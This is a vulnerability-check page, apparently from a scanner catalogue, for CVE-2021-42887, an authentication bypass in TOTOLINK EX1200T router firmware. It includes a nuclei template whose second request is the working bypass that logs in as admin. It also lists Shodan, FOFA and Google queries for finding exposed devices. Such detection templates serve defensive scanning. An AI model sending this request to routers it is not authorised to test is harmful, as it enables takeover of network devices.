TOTOLINK EX1200T 4.1.2cu.5215 - Authentication Bypass

criticalseverity

9.8CVSS score

44.3%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

TOTOLINK EX1200T 4.1.2cu.5215 is susceptible to authentication bypass. An attacker can bypass login by sending a specific request through formLoginAuth.htm, thus potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.

Impact

An attacker can exploit this vulnerability to gain unauthorized access to the device, potentially leading to further compromise of the network.

Fix

Apply the latest firmware update provided by TOTOLINK to fix the authentication bypass vulnerability.

How to confirm it

Send: GET /login.htm ; GET /formLoginAuth.htm?authCode=1&userName=admin&goURL=&action=login
Positive when: contains in body_1 "TOTOLINK" AND contains in header_2 "Set-Cookie: SESSION_ID=" AND status 302

Run it with nuclei: nuclei -id CVE-2021-42887 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-42887

info:
  name: TOTOLINK EX1200T 4.1.2cu.5215 - Authentication Bypass
  author: gy741
  severity: critical
  description: |
    TOTOLINK EX1200T 4.1.2cu.5215 is susceptible to authentication bypass. An attacker can bypass login by sending a specific request through formLoginAuth.htm, thus potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to the device, potentially leading to further compromise of the network.
  remediation: |
    Apply the latest firmware update provided by TOTOLINK to fix the authentication bypass vulnerability.
  reference:
    - https://github.com/p1Kk/vuln/blob/main/totolink_ex1200t_login_bypass.md
    - https://nvd.nist.gov/vuln/detail/cve-2021-42887
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-42887
    cwe-id: CWE-287
    epss-score: 0.44291
    epss-percentile: 0.9877
    cpe: cpe:2.3:o:totolink:ex1200t_firmware:4.1.2cu.5215:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: totolink
    product: ex1200t_firmware
    shodan-query:
      - title:"TOTOLINK"
      - http.title:"totolink"
    fofa-query: title="totolink"
    google-query: intitle:"totolink"
  tags: cve2021,cve,totolink,auth-bypass,router,vuln

http:
  - raw:
      - |
        GET /login.htm HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /formLoginAuth.htm?authCode=1&userName=admin&goURL=&action=login HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - "TOTOLINK"

      - type: word
        part: header_2
        words:
          - "Set-Cookie: SESSION_ID="

      - type: status
        status:
          - 302

References

Use this check only on systems you are authorised to test. Where the data comes from